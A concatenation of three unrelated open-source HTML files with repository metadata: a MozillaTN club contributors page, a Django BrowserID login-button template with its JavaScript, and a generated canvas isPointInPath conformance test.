<a class="page-link" href="/blog/">Blog</a> <a class="page-link button button-primary" href="/contributors/">Contributors</a> <a class="page-link button button-primary" href="/Events/">Events</a> </div> </nav> </div> </header> <div class="blog-cover" style="background-image:url(https://mozillatn.github.io/clubs/assets/mozilla-tn-bannerc.png);"> </div> <div class="page-content"> <div class="wrapper"> <article class="post"> <header class="post-header"> <h1 class="post-title">Contributors</h1> </header> <div class="post-content"> <p>Here are the list of amazing Mozilla contributors from our club.</p> <h3>Present Contributors</h3> <div class="contributors_wrapper"> <div class="contributors"> <div class="pic" style="height: 130px; width: 130px"> <img src="http://s.gravatar.com/avatar/d308351f4d397bc2ada19f116c71e499?s=80" /></div><br /> <p class="name">Name: Ashly Rose Mathew.M</p> <p class="contribution">Contribution Area: WebExtension</p> </div> <div class="contributors"> <div class="pic" style="height: 130px; width: 130px"> <img src="https://secure.gravatar.com/avatar/f6678ef891e273d2dd363b5b33fe8a98" /></div><br /> <p class="name">Name: Prasanth P</p> <p class="contribution">Contribution Area: QA</p> </div> <div class="contributors"> <div class="pic" style="height: 130px; width: 130px"> <img src="https://s.gravatar.com/avatar/ec27e7511d4c42e401787c483faeba7a" /></div><br /> <p class="name">Name: Nagaraj V</p> <p class="contribution">Contribution Area: WebCompat</p> </div> <div class="contributors"> <div class="pic" style="height: 130px; width: 130px"> <img src="https://secure.gravatar.com/avatar/285ed40aea324821f3b0ebebf8075629" /></div><br /> <p class="name">Name: Surentharan R.A</p> <p class="contribution">Contribution Area: WebCompat</p> </div> </div> <h3>Past Contributors</h3> <div class="contributors_wrapper"> <div class="contributors"> <div class="pic" style="height: 130px; width: 130px"> <img src="http://www.gravatar.com/avatar/41c39033134359ca0171685f5171d298" /></div><br /> <p class="name">Name: Viswaprasth</p> <p class="contribution">Contribution Area:QA</p> </div> <div class="contributors"> <div class="pic" style="height: 130px; width: 130px"> <img src="http://www.gravatar.com/avatar/d2b609a7afc027909498217706088af7?s=80" /></div><br /> <p class="name">Name: Mohammed Ammar</p> <p class="contribution">Contribution Area:</p> </div> <div class="contributors"> <div class="pic" style="height: 130px; width: 130px"> <img src="https://secure.gravatar.com/avatar/1eb16f71a1cfb1591516edbcf1df5dfc" /></div><br /> <p class="name">Name: Karthickeyan N</p> <p class="contribution">Contribution Area:</p> </div> <div class="contributors"> <div class="pic" style="height: 130px; width: 130px"> <img src="http://s.gravatar.com/avatar/987a838f909beade7698055957ee1989?s=80" /></div><br /> <p class="name">Name: Khaleel Jageer</p> <p class="contribution">Contribution Area:</p> </div> </div> </div> </article> </div> </div> <footer class="site-footer"> <div class="wrapper"> <h2 class="footer-heading">MozillaTN Club Name</h2> <p> MozillaTN ClubName is club under MozillaTN community actively contributing to various contribution of mozilla. </p> <!--<a href="https://twitter.com/mozillaTN"><span class="username">Twitter</span></a> <a href="https://www.facebook.com/mozillatn"><span class="username">Facebook</span></a> <a href="https://www.instagram.com/mozillatn/"><span class="username">Instagram</span></a>--> <a href="https://twitter.com/mozillaTN"><span class="icon"><?xml version="1.0" encoding="iso-8859-1"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Capa_1" x="0px" y="0px" width="512px" height="512px" viewBox="0 0 49.652 49.652" style="enable-background:new 0 0 49.652 49.652;" xml:space="preserve"> <g> <g> <path d="M24.826,0C11.137,0,0,11.137,0,24.826c0,13.688,11.137,24.826,24.826,24.826c13.688,0,24.826-11.138,24.826-24.826 C49.652,11.137,38.516,0,24.826,0z M35.901,19.144c0.011,0.246,0.017,0.494,0.017,0.742c0,7.551-5.746,16.255-16.259,16.255 c-3.227,0-6.231-0.943-8.759-2.565c0.447,0.053,0.902,0.08,1.363,0.08c2.678,0,5.141-0.914,7.097-2.446 c-2.5-0.046-4.611-1.698-5.338-3.969c0.348,0.066,0.707,0.103,1.074,0.103c0.521,0,1.027-0.068,1.506-0.199 c-2.614-0.524-4.583-2.833-4.583-5.603c0-0.024,0-0.049,0.001-0.072c0.77,0.427,1.651,0.685,2.587,0.714 c-1.532-1.023-2.541-2.773-2.541-4.755c0-1.048,0.281-2.03,0.773-2.874c2.817,3.458,7.029,5.732,11.777,5.972 c-0.098-0.419-0.147-0.854-0.147-1.303c0-3.155,2.558-5.714,5.713-5.714c1.644,0,3.127,0.694,4.171,1.804 c1.303-0.256,2.523-0.73,3.63-1.387c-0.43,1.335-1.333,2.454-2.516,3.162c1.157-0.138,2.261-0.444,3.282-0.899 C37.987,17.334,37.018,18.341,35.901,19.144z" fill="#736f6f"/> </g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> </svg> </span></a> <a href="https://www.facebook.com/mozillatn"><span class="icon"><?xml version="1.0" encoding="iso-8859-1"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Capa_1" x="0px" y="0px" width="512px" height="512px" viewBox="0 0 49.652 49.652" style="enable-background:new 0 0 49.652 49.652;" xml:space="preserve"> <g> <g> <path d="M24.826,0C11.137,0,0,11.137,0,24.826c0,13.688,11.137,24.826,24.826,24.826c13.688,0,24.826-11.138,24.826-24.826 C49.652,11.137,38.516,0,24.826,0z M31,25.7h-4.039c0,6.453,0,14.396,0,14.396h-5.985c0,0,0-7.866,0-14.396h-2.845v-5.088h2.845 v-3.291c0-2.357,1.12-6.04,6.04-6.04l4.435,0.017v4.939c0,0-2.695,0-3.219,0c-0.524,0-1.269,0.262-1.269,1.386v2.99h4.56L31,25.7z " fill="#736f6f"/> </g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> </svg> </span></a> <a href="https://www.instagram.com/mozillatn/"><span class="icon"><?xml version="1.0" encoding="iso-8859-1"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Capa_1" x="0px" y="0px" width="512px" height="512px" viewBox="0 0 49.652 49.652" style="enable-background:new 0 0 49.652 49.652;" xml:space="preserve"> <g> <g> <g> <path d="M24.825,29.796c2.739,0,4.972-2.229,4.972-4.97c0-1.082-0.354-2.081-0.94-2.897c-0.903-1.252-2.371-2.073-4.029-2.073 c-1.659,0-3.126,0.82-4.031,2.072c-0.588,0.816-0.939,1.815-0.94,2.897C19.854,27.566,22.085,29.796,24.825,29.796z" fill="#736f6f"/> <polygon points="35.678,18.746 35.678,14.58 35.678,13.96 35.055,13.962 30.891,13.975 30.907,18.762 " fill="#736f6f"/> <path d="M24.826,0C11.137,0,0,11.137,0,24.826c0,13.688,11.137,24.826,24.826,24.826c13.688,0,24.826-11.138,24.826-24.826 C49.652,11.137,38.516,0,24.826,0z M38.945,21.929v11.56c0,3.011-2.448,5.458-5.457,5.458H16.164 c-3.01,0-5.457-2.447-5.457-5.458v-11.56v-5.764c0-3.01,2.447-5.457,5.457-5.457h17.323c3.01,0,5.458,2.447,5.458,5.457V21.929z" fill="#736f6f"/> <path d="M32.549,24.826c0,4.257-3.464,7.723-7.723,7.723c-4.259,0-7.722-3.466-7.722-7.723c0-1.024,0.204-2.003,0.568-2.897 h-4.215v11.56c0,1.494,1.213,2.704,2.706,2.704h17.323c1.491,0,2.706-1.21,2.706-2.704v-11.56h-4.217 C32.342,22.823,32.549,23.802,32.549,24.826z" fill="#736f6f"/> </g> </g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> <g> </g> </svg> </span></a> </div> </footer> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-63310670-1', 'auto'); ga('send', 'pageview'); </script> </body> </html>
MozillaTN/skcetzilla
docs/_site/contributors/index.html
HTML
mpl-2.0
10,900
{% load extra_tags %} <script src="https://browserid.org/include.js" type="text/javascript"></script> <script> /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var user_started_browserid_login = false; (function($, window) { 'use strict'; // State? Ewwwwww. var loginRedirect = null; // Path to redirect to post-login. var logoutRedirect = null; // Path to redirect to post-logout. // Public API window.django_browserid = { /** * Triggers BrowserID login. * @param {string} next URL to redirect the user to after login. * @param {object} requestArgs Options to pass to navigator.id.request. */ login: function login(next, requestArgs) { var defaults = $('#browserid-info').data('requestArgs'); requestArgs = $.extend({}, defaults, requestArgs); loginRedirect = next; navigator.id.request(requestArgs); }, /** * Triggers BrowserID logout. * @param {string} next URL to redirect the user to after logout. */ logout: function logout(next) { logoutRedirect = next; navigator.id.logout(); }, /** * Check to see if the current user has authenticated via * django_browserid. * @return {boolean} True if the user has authenticated, false * otherwise. */ isUserAuthenticated: function isUserAuthenticated() { return !!$('#browserid-info').data('userEmail'); } }; $(function() { var $loginForm = $('#browserid-form'); // Form used to submit login. var $browseridInfo = $('#browserid-info'); // Useful info from backend. var loginFailed = location.search.indexOf('bid_login_failed=1') !== -1; // Call navigator.id.request whenever a login link is clicked. $(document).on('click', '.browserid-login', function(e) { user_started_browserid_login = true; e.preventDefault(); console.log($(this).data('next')); django_browserid.login($(this).data('next')); }); // Call navigator.id.logout whenever a logout link is clicked. $(document).on('click', '.browserid-logout', function(e) { e.preventDefault(); django_browserid.logout($(this).attr('href')); }); navigator.id.watch({ loggedInUser: $browseridInfo.data('userEmail') || null, onlogin: function(assertion) { // Avoid auto-login on failure. if (loginFailed) { navigator.id.logout(); loginFailed = false; return; } if (assertion && user_started_browserid_login) { $loginForm.find('input[name="next"]').val(loginRedirect); $loginForm.find('input[name="assertion"]').val(assertion); console.log("esta"); $loginForm.submit(); } }, onlogout: function() { // Follow the logout link's href once logout is complete. var currentLogoutUrl = logoutRedirect; if (currentLogoutUrl !== null) { logoutRedirect = null; window.location = currentLogoutUrl; } else { // Sometimes you can get caught in a loop where BrowserID // keeps trying to log you out as soon as watch is called, // and fails since the logout URL hasn't been set yet. // Here we just find the first logout button and use that // URL; if this breaks your site, you'll just need custom // JavaScript instead, sorry. :( currentLogoutUrl = $('.browserid-logout').attr('href'); if (currentLogoutUrl) { window.location = currentLogoutUrl; } } } }); }); })(jQuery, window); </script> <div id="browserid-info" style="display: none;" data-user-email="" data-request-args=""> </div> <a class="browserid-login" style="position: relative;" href="#"><img src="{% media '/media/images/openid/persona-logo-wordmark.png' %}" /></a> <form id="browserid-form" method="POST" action="{% url auth_provider_done provider="browserid" %}" style="display: none;"> {% csrf_token %} <input type="hidden" name="assertion" /> <input type="hidden" name="next" /> </form>
javierder/osqa-browserid
browserid/templates/button.html
HTML
mpl-2.0
4,932
<!DOCTYPE html> <!-- DO NOT EDIT! This test has been generated by /2dcontext/tools/gentest.py. --> <title>Canvas test: 2d.path.isPointInPath.arc</title> <script src="/resources/testharness.js"></script> <script src="/resources/testharnessreport.js"></script> <script src="/2dcontext/resources/canvas-tests.js"></script> <link rel="stylesheet" href="/2dcontext/resources/canvas-tests.css"> <body class="show_output"> <h1>2d.path.isPointInPath.arc</h1> <p class="desc">isPointInPath() works on arcs</p> <p class="output">Actual output:</p> <canvas id="c" class="output" width="100" height="50"><p class="fallback">FAIL (fallback content)</p></canvas> <ul id="d"></ul> <script> var t = async_test("isPointInPath() works on arcs"); _addTest(function(canvas, ctx) { ctx.arc(50, 25, 10, 0, Math.PI, false); _assertSame(ctx.isPointInPath(50, 10), false, "ctx.isPointInPath(50, 10)", "false"); _assertSame(ctx.isPointInPath(50, 20), false, "ctx.isPointInPath(50, 20)", "false"); _assertSame(ctx.isPointInPath(50, 30), true, "ctx.isPointInPath(50, 30)", "true"); _assertSame(ctx.isPointInPath(50, 40), false, "ctx.isPointInPath(50, 40)", "false"); _assertSame(ctx.isPointInPath(30, 20), false, "ctx.isPointInPath(30, 20)", "false"); _assertSame(ctx.isPointInPath(70, 20), false, "ctx.isPointInPath(70, 20)", "false"); _assertSame(ctx.isPointInPath(30, 30), false, "ctx.isPointInPath(30, 30)", "false"); _assertSame(ctx.isPointInPath(70, 30), false, "ctx.isPointInPath(70, 30)", "false"); }); </script>
UK992/servo
tests/wpt/web-platform-tests/2dcontext/path-objects/2d.path.isPointInPath.arc.html
HTML
mpl-2.0
1,501